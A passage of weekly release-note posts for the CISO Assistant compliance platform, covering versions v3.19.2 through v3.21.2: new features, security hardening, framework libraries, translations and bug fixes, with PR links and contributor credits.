[#4657](https://github.com/intuitem/ciso-assistant-community/pull/4657)). Thanks to **@MTG-Thomas**. ## AI & Integrations - **New aggregated MCP architecture** — The MCP server was rebuilt around an aggregated design: HTTP transport with configurable security, authentication, stateless and JSON options; a read-only mode; generic object listing and retrieval; and exact counting with filtering and grouping. Pagination controls, result totals, response limits and truncation guidance keep large result sets from flooding the model's context — the stated goal being broader coverage at a lower token cost. Paginated audits and assessments now retrieve completely, result-count messages are standardized, and evaluation tooling was added for model tool selection and multi-turn interactions. MCP setup documentation was expanded to match (PR [#4648](https://github.com/intuitem/ciso-assistant-community/pull/4648)). Thanks to **@ab-smith**. ## New Features - **Streamlined approval management** — A dedicated interface for validation flows, with views for received, sent, history and all requests. Inbox counts, filtering and empty states make the queue legible; flow cards show status, deadline, linked item, notes and the actions available; and approve, reject, revoke, drop, request-changes and resubmit are all first-class actions with confirmation dialogs and clear feedback. Invalid status transitions are rejected with explicit validation errors. Localized relative timestamps and standardized status colors, labels and icons round it out, in English and French (PR [#4650](https://github.com/intuitem/ciso-assistant-community/pull/4650)). Thanks to **@ab-smith**. - **Manual override of question-driven scores** — On audits where the score is computed from questionnaire answers, auditors can now pin a manual score when they need to deviate. Turning on "Override score" unlocks the field and stops recomputation; turning it off hands control back to the answers. Boundaries are validated, a warning surfaces when the manual and calculated scores diverge, imports and exports preserve the distinction — a filled-in scoring template counts as an override — and the setting survives assessment cloning. Respondents never see the toggle (PR [#4577](https://github.com/intuitem/ciso-assistant-community/pull/4577)). Thanks to **@Mohamed-Hacene**. - **Per-template email toggles** — Every mail template under Settings → Templates now has an enable/disable switch, all on by default, with a confirmation modal for core mails. Turning off "Welcome" stops the welcome mail on user creation; turning off "Password reset" silences that flow while the UI still reports success (PR [#4675](https://github.com/intuitem/ciso-assistant-community/pull/4675)). Thanks to **@Axxiar**. - **Audit link modes for entity assessments** — The data wizard now offers link-mode options when creating an entity assessment, so an audit can be either copied or moved into the entity's folder (PR [#4649](https://github.com/intuitem/ciso-assistant-community/pull/4649)). Thanks to **@tchoumi313**. - **Optional author columns on assessments** — Assessment tables can now show an authors column (PR [#4647](https://github.com/intuitem/ciso-assistant-community/pull/4647)). Thanks to **@nas-tabchiche**. - **Incidents in analytics, conditionally** — Incident data is surfaced in analytics only when the incidents feature is enabled (PR [#4651](https://github.com/intuitem/ciso-assistant-community/pull/4651)). Thanks to **@Axxiar**. - **Unassigned filter on evidences** — The evidence assignee filter gained a null option, so unassigned evidence can be isolated (PR [#4302](https://github.com/intuitem/ciso-assistant-community/pull/4302)). Thanks to **@martinzerty**. ## Framework & Library Updates - **ISO 27701:2025 outline** — The privacy information management framework arrives as a structured catalog covering PIMS clauses, PII controller and processor requirements and the shared information-security controls, with framework metadata, scoring definitions and implementation groups. The libraries view also gained a quick filter for TTP catalogs (PR [#4663](https://github.com/intuitem/ciso-assistant-community/pull/4663)). Thanks to **@ab-smith**. - **CyFun 2025 ↔ ISO 27001 mapping** — A mapping between the CyFun 2025 framework and ISO 27001 (PR [#4646](https://github.com/intuitem/ciso-assistant-community/pull/4646)). Thanks to **@tarkadia**. - **`check_library_v2.py`** — A rewritten library validation tool for contributors building or updating framework libraries (PR [#2371](https://github.com/intuitem/ciso-assistant-community/pull/2371)). Thanks to **@tarkadia**. ## Bug Fixes - **`OPTIONS` no longer returns 500** — Every endpoint served by `BaseModelViewSet` answered 500 on `OPTIONS` while answering 200 on `GET`. DRF resolves `OPTIONS` through `SimpleMetadata.determine_actions()`, which calls `get_serializer()` while the view action is `"metadata"` — an action the serializer factory didn't map, so it returned `None` and DRF called it. The factory now resolves `"metadata"` to the write serializer, which is the shape `OPTIONS` should be describing, with a parametrised regression test across folders, assets and perimeters (PR [#4667](https://github.com/intuitem/ciso-assistant-community/pull/4667)). Thanks to **@luantaraschi**. - **BaFin-compliant DORA package names** — The DORA Register of Information export's EBA naming option produced ZIP names with an identifier-type prefix and an ISO-like timestamp containing `T` and `Z`, which BaFin MVP rejects; the archive also kept an NBB-style top-level directory. EBA exports now build a single compliant stem from the report-subject identifier and consolidation level, two-letter country, taxonomy version and module, prior-year reference date and a 17-digit `YYYYMMDDHHMMSSmmm` timestamp, applied consistently to the archive root, every member and the response header. The frontend filename preview mirrors it. NBB naming is unchanged (PR [#4604](https://github.com/intuitem/ciso-assistant-community/pull/4604)). Thanks to **@mvanhorn**. - **Canary release regression fixed** — A regression affecting the canary release channel was resolved (PR [#4660](https://github.com/intuitem/ciso-assistant-community/pull/4660)). Thanks to **@ab-smith**. ## Internationalization - **Italian translations updated** — A refresh of the Italian locale (PR [#4640](https://github.com/intuitem/ciso-assistant-community/pull/4640)). Thanks to **@LoZio**. Two more architecture decision records also landed this cycle, documenting the move from Poetry to uv (PR [#4659](https://github.com/intuitem/ciso-assistant-community/pull/4659), thanks to **@Axxiar**) and the service account design shipped in v3.21.0 (PR [#4665](https://github.com/intuitem/ciso-assistant-community/pull/4665), thanks to **@tchoumi313**). --- Welcome to new contributors **@MTG-Thomas** and **@luantaraschi**, who made their first contributions in v3.21.1 and v3.21.2 respectively. For full details, check out the [v3.21.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.1) and [v3.21.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 32, 2026 (v3.20.5 – v3.21.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w32 Published: 2026-08-09 Author: intuitem Four releases in nine days, closing the v3.20 line and opening v3.21: **v3.20.5** and **v3.20.6** on August 1, **v3.20.7** on August 3, **v3.20.8** on August 4, and the **v3.21.0** minor on August 8. This edition folds in the two August 1 patches that landed after last week's post went out. The v3.21.0 minor is one of the larger ones this year — two epics land at once, and a third capability arrives on the Pro side. ## Headline Features - **Threat modeling with TTPs and MITRE ATLAS** — CISO Assistant gains first-class support for Tactics, Techniques and Procedures. TTP catalogs come with searchable matrices and hierarchical relationships between tactics and techniques; on top of them sits a threat-model object with technique selection and an interactive graph editor, and threat models can be linked to risk scenarios. **MITRE ATLAS** ships as bundled catalog content, so adversarial-ML threat coverage is available out of the box. Legacy TTP entries can be excluded from threat searches and autocompletes so existing data doesn't pollute the new catalogs, and English and French translations are included (PR [#4602](https://github.com/intuitem/ciso-assistant-community/pull/4602)). Thanks to **@ab-smith**. - **Workflow engine with a visual builder** — A full automation engine, built visually: triggers, actions, branching, loops, variables, secrets, schedules and subprocesses. Workflows are versioned, published and activated, with execution monitoring, retries, logs and run replay. Triggers can be webhooks, schedules or internal events, with validation and rate limiting on each. Definitions import and export as YAML against a versioned schema, and a workflow library offers previews and one-click instantiation. Security was designed in rather than bolted on — scoped authorization, secret protection, webhook signing and SSRF safeguards (PR [#4491](https://github.com/intuitem/ciso-assistant-community/pull/4491)). Thanks to **@nas-tabchiche**. - **Customizable asset classes, rendered as a tree** — Asset classes are no longer a fixed list. They now form a manageable hierarchy mixing built-in and custom classes, with translations and visibility control per class. The new asset tree browses classified and unclassified assets with counts, expandable groups and pagination, and class selection is searchable and filterable. Import and export understand canonical paths, with an option to create missing classes on import, and deletions warn about blocked references before cascading (PR [#4626](https://github.com/intuitem/ciso-assistant-community/pull/4626)). Thanks to **@ab-smith**. - **Service accounts (Pro)** — A service account is an identity for a script, CI pipeline or external system to call the API on its own: no human, no session, no interactive login. Authentication uses the OAuth2 client credentials grant, fully delegated to the OIDC identity provider built into CISO Assistant (PR [#4528](https://github.com/intuitem/ciso-assistant-community/pull/4528)). Thanks to **@tchoumi313**. ## Breaking Change - **Invalid implementation groups are now pruned on framework update** — When a framework update removes an implementation group, selections still referencing it are now cleaned up consistently across compliance assessments, posture assessments and campaigns, instead of lingering as dangling references. Library conversion also gained an integrity check that fails fast when requirement nodes reference "orphan" implementation groups the framework never declared. If you maintain custom libraries, run them through the converter before upgrading — a library that used to convert may now be rejected (PR [#4594](https://github.com/intuitem/ciso-assistant-community/pull/4594)). Thanks to **@ab-smith**. ## Security & Hardening - **Word template management hardened** — The Word export context is now wrapped in a proxy that exposes a presentation of each object rather than the object itself, closing off template-driven access to internals. Word Template settings also carry a visible reminder to review templates for security and compliance before use, localized across supported languages (PR [#4607](https://github.com/intuitem/ciso-assistant-community/pull/4607)). Thanks to **@tchoumi313**. - **Security headers on the favicon endpoint** — Favicon responses — success, fallback and error alike — now carry security headers, guarding against content-type misinterpretation (PR [#4609](https://github.com/intuitem/ciso-assistant-community/pull/4609)). Thanks to **@monsieurswag**. - **Focus mode aligned with IAM** — With focus mode active, global admins appeared to lose their global permissions: the UI advertised root-scoped entries and actions that the focused IAM engine then rejected with raw 403s. Focus mode now relies entirely on the user's actual permissions rather than strict folder scoping, and root-folder and global items stay reachable while focus mode is on (PR [#4470](https://github.com/intuitem/ciso-assistant-community/pull/4470)). Thanks to **@tchoumi313**. - **Missing permissions blocking domain export recovered** — Solution subcontractor records were missing from several role permission sets, which broke domain export for some roles. Readers and approvers can now view them; analysts, domain managers and administrators can manage them fully, with test coverage across every exportable record type (PR [#4614](https://github.com/intuitem/ciso-assistant-community/pull/4614)). Thanks to **@ab-smith**. ## New Features - **Evidence previews for many more file types** — Evidence detail pages now preview images, PDFs, videos, text, Markdown, DOCX, CSV and Excel inline. Spreadsheet previews handle multi-sheet tabs and frozen panes and skip hidden sheets, with clear messaging when a file is too large or a preview is truncated. Markdown and document rendering is sandboxed to keep unsafe HTML and CSS from executing (PR [#4592](https://github.com/intuitem/ciso-assistant-community/pull/4592)). Thanks to **@ab-smith**. - **Rename qualifications to risk categories** — A setting swaps the "qualification" terminology for "risk category" across labels, filters, forms, reports and analytics charts, for teams whose vocabulary expects the latter (PR [#4574](https://github.com/intuitem/ciso-assistant-community/pull/4574)). Thanks to **@eric-intuitem**. - **Risk assessment import from the AI chat** — Following last week's spreadsheet import, the chat now supports importing risk assessments, on top of a refactor of the underlying import code (PR [#4618](https://github.com/intuitem/ciso-assistant-community/pull/4618)). The in-window chat also gets more context about the session it's running in (PR [#4610](https://github.com/intuitem/ciso-assistant-community/pull/4610)). Thanks to **@ab-smith**. - **Status on findings assessments** — Findings assessments now carry a status field (PR [#4613](https://github.com/intuitem/ciso-assistant-community/pull/4613)). Thanks to **@Axxiar**. - **Progress percentage on documents** — Documents derive a progress percentage from their status (PR [#4606](https://github.com/intuitem/ciso-assistant-community/pull/4606)). Thanks to **@Axxiar**. ## Framework & Library Updates - **Plumber CI/CD security checks** — A new risk library covering GitHub Actions and GitLab CI hardening across six domains: supply chain security, secrets, permissions, triggers, access and workflow hygiene. Requirements cover action and image pinning, injection risks, branch protection, dependency updates, SAST, trusted publishing, concurrency and workflow naming, each with severity guidance, remediation detail, documentation links and implementation-group assignments (PR [#4624](https://github.com/intuitem/ciso-assistant-community/pull/4624)). Thanks to **@ab-smith**. - **ANSSI industrial systems cybersecurity** — The detailed-measures edition of the ANSSI guidance on industrial control system security (PR [#4617](https://github.com/intuitem/ciso-assistant-community/pull/4617)). Thanks to **@ab-smith**. - **LPM/OIV metrics** — The ten required metric definitions for LPM/OIV, plus CI improvements on library builds (PR [#4589](https://github.com/intuitem/ciso-assistant-community/pull/4589)). Thanks to **@ab-smith**. - **Cwb (NIS2) control framework** — A new NIS2-aligned control framework, shipped alongside improvements to the add/update framework tooling (PR [#4636](https://github.com/intuitem/ciso-assistant-community/pull/4636)). Thanks to **@tarkadia**. - **CyFun 2025 in French and Dutch** — The CyFun 2025 framework added a few weeks ago is now available in FR and NL (PR [#4616](https://github.com/intuitem/ciso-assistant-community/pull/4616)). Thanks to **@tarkadia**. - **BIO2 capitalisation fix** — Implementation group capitalisation in BIO2 is now consistent (PR [#4591](https://github.com/intuitem/ciso-assistant-community/pull/4591)). Thanks to **@EternalBlueScreen**. ## Internationalization - **Core cybersecurity metrics translations** — Translations for the core cybersecurity metrics set (PR [#4593](https://github.com/intuitem/ciso-assistant-community/pull/4593)). Thanks to **@monsieurswag**. - **Slovak, Dutch and Ukrainian updates** — Refreshed Slovak (PR [#4596](https://github.com/intuitem/ciso-assistant-community/pull/4596), thanks to **@datasecsro**), Dutch (PR [#4595](https://github.com/intuitem/ciso-assistant-community/pull/4595), thanks to **@ReViCo-be**) and Ukrainian (PR [#4611](https://github.com/intuitem/ciso-assistant-community/pull/4611), thanks to **@Punkoivan**) translations, plus a batch of missing strings filled in (PR [#4608](https://github.com/intuitem/ciso-assistant-community/pull/4608), thanks to **@Axxiar**). ## UX & Bug Fixes - **Incident UI improvements** — A round of interface cleanups on incidents (PR [#4598](https://github.com/intuitem/ciso-assistant-community/pull/4598)). Thanks to **@ab-smith**. - **Chat window file upload fixed** — Uploading a file from the chat window no longer fails (PR [#4599](https://github.com/intuitem/ciso-assistant-community/pull/4599)). Thanks to **@ab-smith**. - **Mail template reset button fixed** — The "reset to default" button on mail templates was broken and duplicated; both issues are resolved (PR [#4587](https://github.com/intuitem/ciso-assistant-community/pull/4587)). Thanks to **@Axxiar**. ## Power BI Connector The Power BI connector shipped a [v1.0.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/powerbi-v1.0.2) release on August 1, adding debugging tips to the documentation and bundling `CisoAssistant-starter.pbit` — the starter report with a preconfigured model — directly in the release artifacts (PR [#4600](https://github.com/intuitem/ciso-assistant-community/pull/4600)). Install the connector first, then open the template and enter your instance URL when prompted for `BaseUrl`. Thanks to **@ab-smith**. Under the hood, this cycle also brought an architecture decision record template and a first entry documenting the dual-database decision (PR [#4633](https://github.com/intuitem/ciso-assistant-community/pull/4633)), plus backend and frontend dependency upgrades across the board. --- Welcome to new contributor **@EternalBlueScreen**, who made their first contribution in v3.20.5. For full details, check out the [v3.20.6](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.6), [v3.20.7](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.7), [v3.20.8](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.8) and [v3.21.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.21.0) release notes on GitHub. --- ### What's New in CISO Assistant — Week 31, 2026 (v3.20.3 – v3.20.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w31 Published: 2026-07-29 Author: intuitem This edition catches up on the two patches that closed out July: **v3.20.3** on July 24 and **v3.20.4** on July 28. They round out the v3.20 cycle with a native Power BI connector, a much broader domain export, deeper posture management, and two new frameworks. ## Headline Features - **Native Power BI connector** — CISO Assistant now ships a first-party Power BI connector with token-based authentication, multi-table modelling with relationships, and incremental refresh, alongside a starter Power BI template with a preconfigured model and pages (PR [#4563](https://github.com/intuitem/ciso-assistant-community/pull/4563)). It is distributed as its own signed artifact — see the [powerbi-v1.0.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/powerbi-v1.0.1) release for the install guide and the certificate trust runbook. Documentation for incremental refresh and real-time data was expanded shortly after (PR [#4588](https://github.com/intuitem/ciso-assistant-community/pull/4588)). Thanks to **@ab-smith** and **@tarkadia**. - **Full TPRM ecosystem in domain export/import** — Domain export previously carried only the `Entity` record from the third-party risk module. It now covers entity assessments, solutions, solution subcontractors, representatives and contracts, plus the previously dropped entity fields (`ref_id`, legal identifiers, parent entity, default scores, DORA provider person type). Audit, entity-assessment and contract evidences — and their attachments — are folded into the export scope as well (PR [#4571](https://github.com/intuitem/ciso-assistant-community/pull/4571)). Note that user relations, filtering labels and enclaves are intentionally _not_ carried over. Thanks to **@Mohamed-Hacene**. - **Spreadsheet import from the AI chat** — You can now upload XLSX and CSV files directly in the chat, with automatic column mapping and target detection, then review a preview with row counts, updates, errors and truncation warnings before confirming. The Data Wizard also gained downloadable Excel templates for supported record types (PR [#4585](https://github.com/intuitem/ciso-assistant-community/pull/4585)). Thanks to **@ab-smith**. ## Posture Management The technical posture management capability introduced in v3.20.0 keeps filling out: - **Observations and file attachments on posture runs** — Posture runs accept observations and attachments (upload, replace, remove, download), with richer run history and detail views and interactive cell navigation. Ships with CIS benchmark libraries for Debian 12, Debian 13 and Kubernetes 2.0.1. Note the attachment limit change is platform-wide: body and request limits are now documented at **50 MB** (PR [#4581](https://github.com/intuitem/ciso-assistant-community/pull/4581)). Thanks to **@ab-smith**. - **Faster posture assessment queries** — The posture assessment queryset now prefetches `assets__folder`, cutting query counts on large datasets (PR [#4560](https://github.com/intuitem/ciso-assistant-community/pull/4560)). Thanks to **@Mohamed-Hacene**. ## Security - **IAM hardening on framework data API access** — A user without proper access to an audit could still retrieve some metadata through the API. Access control on compliance assessment details has been tightened, with a regression test added (PR [#4561](https://github.com/intuitem/ciso-assistant-community/pull/4561)). Credit to **Timothy Siebes, Aegis Consultancy B.V.** for the report, and thanks to **@eric-intuitem** for the fix. ## New Features - **Evidence on security exceptions** — Security exceptions can now carry attached evidence (PR [#4537](https://github.com/intuitem/ciso-assistant-community/pull/4537)). Thanks to **@Mohamed-Hacene**. - **Custom fields on security exceptions** — Security exceptions join the objects that support custom fields (PR [#4426](https://github.com/intuitem/ciso-assistant-community/pull/4426)). Thanks to **@Banlone**. - **Batch add assets to a BIA** — Assets can be added to a business impact analysis in bulk instead of one at a time (PR [#4570](https://github.com/intuitem/ciso-assistant-community/pull/4570)). Thanks to **@ab-smith**. - **Findings assessment improvements** — Findings assessments gain filtering labels, an optional "reported at" date, a new "Responsible disclosure" category (English and French), exact-match filtering by asset, and Markdown (`.md`) uploads (PR [#4573](https://github.com/intuitem/ciso-assistant-community/pull/4573)). Thanks to **@ab-smith**. - **EBIOS-RM elementary action inheritance** — Elementary actions are now inherited across domains, so shared catalogs work as expected in multi-domain setups (PR [#4578](https://github.com/intuitem/ciso-assistant-community/pull/4578)). Thanks to **@tchoumi313**. ## Framework & Library Updates - **TISAX v2027** — Added the TISAX v2027 framework (PR [#4557](https://github.com/intuitem/ciso-assistant-community/pull/4557)). Thanks to **@tarkadia**. - **ENISA SME Cyber Resilience Maturity Assessment** — A new framework covering five cybersecurity domains with 1-to-5 maturity scoring, built on the question-driven scoring system for a smoother experience, and with configurable result visibility for auditors and respondents (PR [#4567](https://github.com/intuitem/ciso-assistant-community/pull/4567)). It was enriched with recommended controls a few days later (PR [#4583](https://github.com/intuitem/ciso-assistant-community/pull/4583)). Thanks to **@ab-smith**. - **IEC framework fixes** — Corrections to the IEC frameworks, along with a global README update (PR [#4551](https://github.com/intuitem/ciso-assistant-community/pull/4551)). Thanks to **@tarkadia**. ## Internationalization - **Slovenian translation** — CISO Assistant adds Slovenian to its supported languages (PR [#4547](https://github.com/intuitem/ciso-assistant-community/pull/4547)). Thanks to **@Capy-Sec**. ## UX & Bug Fixes - **Better input contrast and toast notifications** — Form input contrast was improved and inline status messages replaced with toast notifications for clearer feedback (PR [#4569](https://github.com/intuitem/ciso-assistant-community/pull/4569)). Thanks to **@tchoumi313**. - **Stacking issues fixed** — Resolved random z-index stacking glitches in the interface (PR [#4568](https://github.com/intuitem/ciso-assistant-community/pull/4568)). Thanks to **@ab-smith**. - **Restored builtin behavior** — Fixed a regression affecting builtin objects (PR [#4562](https://github.com/intuitem/ciso-assistant-community/pull/4562)). Thanks to **@eric-intuitem**. - **Clearer oversized-upload errors** — Oversized imports and attachments now return an explicit HTTP 400 with stricter validation, and exported workbook metadata correctly reflects the selected library version (PR [#4581](https://github.com/intuitem/ciso-assistant-community/pull/4581)). Thanks to **@ab-smith**. --- Welcome to new contributors **@Capy-Sec** and **@Banlone**, who both made their first contribution in v3.20.3. For full details, check out the [v3.20.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.3) and [v3.20.4](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.4) release notes on GitHub. --- ### What's New in CISO Assistant — Week 30, 2026 (v3.20.0 – v3.20.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w30 Published: 2026-07-22 Author: intuitem After a quiet week 29, the **v3.20** cycle arrived in force: the **v3.20.0** minor release landed on July 21, followed the same evening by the **v3.20.1** hotfix (which repaired a broken enterprise-edition build pipeline) and the **v3.20.2** patch on July 22. Together they bring a brand-new technical posture management capability, a library builder, single logout for SSO, and a healthy round of framework, localization, and quality updates. ## Headline Features - **Technical posture management** — A new epic introduces technical posture management, connecting your technical security signals to your governance work (PR [#4513](https://github.com/intuitem/ciso-assistant-community/pull/4513)), with documentation (PR [#4546](https://github.com/intuitem/ciso-assistant-community/pull/4546)) and an IAM hardening pass with extra tests following in v3.20.2 (PR [#4554](https://github.com/intuitem/ciso-assistant-community/pull/4554)). Thanks to **@ab-smith**. - **Library builder** — A new library builder makes it much easier to author custom frameworks and libraries, from the initial spike (PR [#4498](https://github.com/intuitem/ciso-assistant-community/pull/4498)) through documentation (PR [#4511](https://github.com/intuitem/ciso-assistant-community/pull/4511)) to a polish pass that adds requirement weight support (PR [#4543](https://github.com/intuitem/ciso-assistant-community/pull/4543)). Thanks to **@eric-intuitem** and **@ab-smith**. - **Single logout (SLO) for OIDC and SAML** — Logging out of CISO Assistant can now propagate to your identity provider for both OIDC and SAML authentication (PR [#4496](https://github.com/intuitem/ciso-assistant-community/pull/4496)). Thanks to **@tchoumi313**. ## New Features - **GDPR processing full export/import** — GDPR processing records can now be fully exported and re-imported (PR [#4548](https://github.com/intuitem/ciso-assistant-community/pull/4548)). Thanks to **@ab-smith**. - **CyFun 2025 Excel import** — Assessments in the CyberFundamentals (CyFun) 2025 Excel format can now be imported directly (PR [#4553](https://github.com/intuitem/ciso-assistant-community/pull/4553)). Thanks to **@ab-smith**. - **Change the domain of an EBIOS-RM study** — EBIOS-RM studies are no longer locked to the domain they were created in (PR [#4502](https://github.com/intuitem/ciso-assistant-community/pull/4502)). Thanks to **@eric-intuitem**. - **CLI domain export** — The CLI gains a domain export capability for scripted backups and migrations (PR [#4522](https://github.com/intuitem/ciso-assistant-community/pull/4522)). Thanks to **@ab-smith**. - **Domain managers can edit group members** — Group membership can now be managed at the domain-manager level, not just by administrators (PR [#4512](https://github.com/intuitem/ciso-assistant-community/pull/4512)). Thanks to **@eric-intuitem**. - **MCP access to maturity scores** — The AI/MCP integration can now read maturity scores, opening them up to assistant-driven analysis (PR [#4516](https://github.com/intuitem/ciso-assistant-community/pull/4516)). Thanks to **@eric-intuitem**. ## Framework & Library Updates - **ABDO 2019** — Added the Dutch Ministry of Defence's ABDO 2019 (Algemene Beveiligingseisen voor Defensieopdrachten) framework, bilingual (Dutch/English) with 435 assessable requirements and the TBB1–TBB4 classification levels modelled as implementation groups (PR [#4534](https://github.com/intuitem/ciso-assistant-community/pull/4534)). Thanks to **@Mohamed-Hacene**. - **MITRE ATT&CK v19.1** — Updated the MITRE ATT&CK library to v19.1 (PR [#4514](https://github.com/intuitem/ciso-assistant-community/pull/4514)). Thanks to **@tarkadia**. - **PART-IS.D.OR completed, with a French version** — Added missing requirements to the PART-IS.D.OR framework and shipped a French translation (PR [#4529](https://github.com/intuitem/ciso-assistant-community/pull/4529)). Thanks to **@tarkadia**. - **DORA RoI parameters cleanup** — Removed unreferenced decimals parameters from the DORA RoI `parameters.csv` (PR [#4501](https://github.com/intuitem/ciso-assistant-community/pull/4501)). Thanks to **@mvanhorn**. - **Safer framework updates** — Framework updates now correctly handle removed requirement fields and implementation groups (PR [#4494](https://github.com/intuitem/ciso-assistant-community/pull/4494)). Thanks to **@tarkadia**. ## Internationalization - **Complete Czech localization** — A full update of the Czech translation (PR [#4520](https://github.com/intuitem/ciso-assistant-community/pull/4520)). Thanks to **@zdenek-pergl**. - **Improved Dutch translations** — Two rounds of Dutch translation improvements (PRs [#4508](https://github.com/intuitem/ciso-assistant-community/pull/4508), [#4518](https://github.com/intuitem/ciso-assistant-community/pull/4518)). Thanks to **@ReViCo-be**. ## UX & Bug Fixes - **Reworked audit progress calculation** — Audit progress is now computed more accurately, with accompanying documentation explaining the formula (PRs [#4517](https://github.com/intuitem/ciso-assistant-community/pull/4517), [#4558](https://github.com/intuitem/ciso-assistant-community/pull/4558)). Thanks to **@Mohamed-Hacene**. - **Risk acceptances in My Assignments (Pro)** — Risk acceptances now show up in the my-assignments view (PR [#4521](https://github.com/intuitem/ciso-assistant-community/pull/4521)). Thanks to **@Mohamed-Hacene**. - **Consistent edit/delete actions** — The frontend now shows edit and delete actions consistently across objects (PR [#4507](https://github.com/intuitem/ciso-assistant-community/pull/4507)). Thanks to **@eric-intuitem**. - **Classification labels** — Object classifications now display their name instead of a raw label (PR [#4539](https://github.com/intuitem/ciso-assistant-community/pull/4539)). Thanks to **@tchoumi313**. - **Longer URLs accepted** — Increased the maximum URL length on link fields (PR [#4524](https://github.com/intuitem/ciso-assistant-community/pull/4524)). Thanks to **@eric-intuitem**. - **Simplified user picker** — The user picker modal has been streamlined (PR [#4527](https://github.com/intuitem/ciso-assistant-community/pull/4527)). Thanks to **@eric-intuitem**. - **Consistent markdown fields** — All markdown fields were rationalized to fix rendering discrepancies (PR [#4519](https://github.com/intuitem/ciso-assistant-community/pull/4519)). Thanks to **@eric-intuitem**. - **Document template locale filter** — Fixed the locale filter not updating on document templates (PR [#4532](https://github.com/intuitem/ciso-assistant-community/pull/4532)). Thanks to **@tarkadia**. - **Custom libraries migration hotfix** — Fixed a migration issue affecting custom libraries on PostgreSQL (PR [#4556](https://github.com/intuitem/ciso-assistant-community/pull/4556)). Thanks to **@ab-smith**. - **Docker scripts harmonization** — A broad cleanup and harmonization of the Docker scripts and files (PR [#4442](https://github.com/intuitem/ciso-assistant-community/pull/4442)). Thanks to **@tarkadia**. --- Welcome to new contributor **@ReViCo-be**, who made their first contribution in v3.20.0. For full details, check out the [v3.20.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.0), [v3.20.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.1), and [v3.20.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.20.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 28, 2026 (v3.19.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w28 Published: 2026-07-10 Author: intuitem The **v3.19.2** patch landed on July 10 and, despite the point-release label, it packs a lot: a reworked risk acceptance workflow, a new regulatory framework, evidence support on data breaches, expanded document management, and a deep round of integrations, i18n, and bug fixes. ## Headline Features - **Reworked risk acceptance workflow** — The risk acceptance flow has been overhauled for a clearer, more robust approval experience (PR [#4419](https://github.com/intuitem/ciso-assistant-community/pull/4419)). Thanks to **@Mohamed-Hacene**. - **NCA ECC-2:2024 framework** — Added the Saudi National Cybersecurity Authority's Essential Cybersecurity Controls (ECC-2:2024) as a built-in framework (PR [#4378](https://github.com/intuitem/ciso-assistant-community/pull/4378)). Thanks to **@smakarim**. - **Expanded document management** — A broad epic expanding CISO Assistant's document management capabilities (PR [#4458](https://github.com/intuitem/ciso-assistant-community/pull/4458)). Thanks to **@ab-smith**. ## New Features - **Evidence on data breaches** — Data breach records can now carry attached evidence (PR [#4455](https://github.com/intuitem/ciso-assistant-community/pull/4455)). Thanks to **@ab-smith**. - **Extra options on findings tracking & exception status** — More control over findings tracking and the status of exceptions (PR [#4463](https://github.com/intuitem/ciso-assistant-community/pull/4463)). Thanks to **@ab-smith**. - **Autologin page** — A new autologin page to streamline authentication flows (PR [#4453](https://github.com/intuitem/ciso-assistant-community/pull/4453)). Thanks to **@eric-intuitem**. - **More customization on GDPR processings** — Additional customization options for GDPR processing records (PR [#4477](https://github.com/intuitem/ciso-assistant-community/pull/4477)). Thanks to **@ab-smith**. - **Column selection on nested action plans** — Choose which columns are shown in nested action plan views (PR [#4495](https://github.com/intuitem/ciso-assistant-community/pull/4495)). Thanks to **@ab-smith**. ## Integrations & Data Wizard - **ServiceNow asset sync** — Integrations now support asset synchronization, with the ServiceNow schema cached via startup warming and a manual refresh option (PR [#4362](https://github.com/intuitem/ciso-assistant-community/pull/4362)). Thanks to **@nas-tabchiche**. - **Import/Export representatives** — Representatives can now be imported and exported through the Data Wizard (PR [#4456](https://github.com/intuitem/ciso-assistant-community/pull/4456)). Thanks to **@tarkadia**. - **Task template import** — Added task template import functionality to both the Data Wizard and the CLI (PR [#4487](https://github.com/intuitem/ciso-assistant-community/pull/4487)). Thanks to **@tchoumi313**. ## Security & Audit - **Broader audit-log coverage** — The audit log now covers settings changes and additional object types for a more complete activity trail (PR [#4490](https://github.com/intuitem/ciso-assistant-community/pull/4490)). Thanks to **@ab-smith**. ## Internationalization - **Slovak localization** — Added Slovak as a supported language (PR [#4467](https://github.com/intuitem/ciso-assistant-community/pull/4467)). Thanks to **@datasecsro**. - **Confirmation word in sensitive-operation modals** — Sensitive-operation confirmation modals now honor the translated confirmation word (PR [#4466](https://github.com/intuitem/ciso-assistant-community/pull/4466)). Thanks to **@ab-smith**. - **Contract translations & log redirections** — Multiple translation fixes around contracts and the new logs redirection pattern (PR [#4482](https://github.com/intuitem/ciso-assistant-community/pull/4482)). Thanks to **@ab-smith**. ## Bug Fixes - **Jira field mapping on self-hosted 9+** — Fixed broken field mapping on self-hosted Jira 9 and later (PR [#4449](https://github.com/intuitem/ciso-assistant-community/pull/4449)). Thanks to **@Mohamed-Hacene**. - **Mapping set framework names** — Resolved incorrect framework names for non-imported frameworks in mapping sets (PR [#4459](https://github.com/intuitem/ciso-assistant-community/pull/4459)). Thanks to **@nas-tabchiche**. - **Non-ASCII export filenames** — Better handling of non-ASCII characters in filenames during export (PR [#4464](https://github.com/intuitem/ciso-assistant-community/pull/4464)). Thanks to **@ab-smith**. - **Portal file names preserved** — External files for portals now keep their original filename and extension (PR [#4484](https://github.com/intuitem/ciso-assistant-community/pull/4484)). Thanks to **@ab-smith**. - **Action plan PDF cost** — Fixed missing cost in the action plan PDF export (PR [#4465](https://github.com/intuitem/ciso-assistant-community/pull/4465)). Thanks to **@ab-smith**. - **Empty REF_ID rejected** — Qualitative metric choices now reject an empty `REF_ID` on both create and update (PR 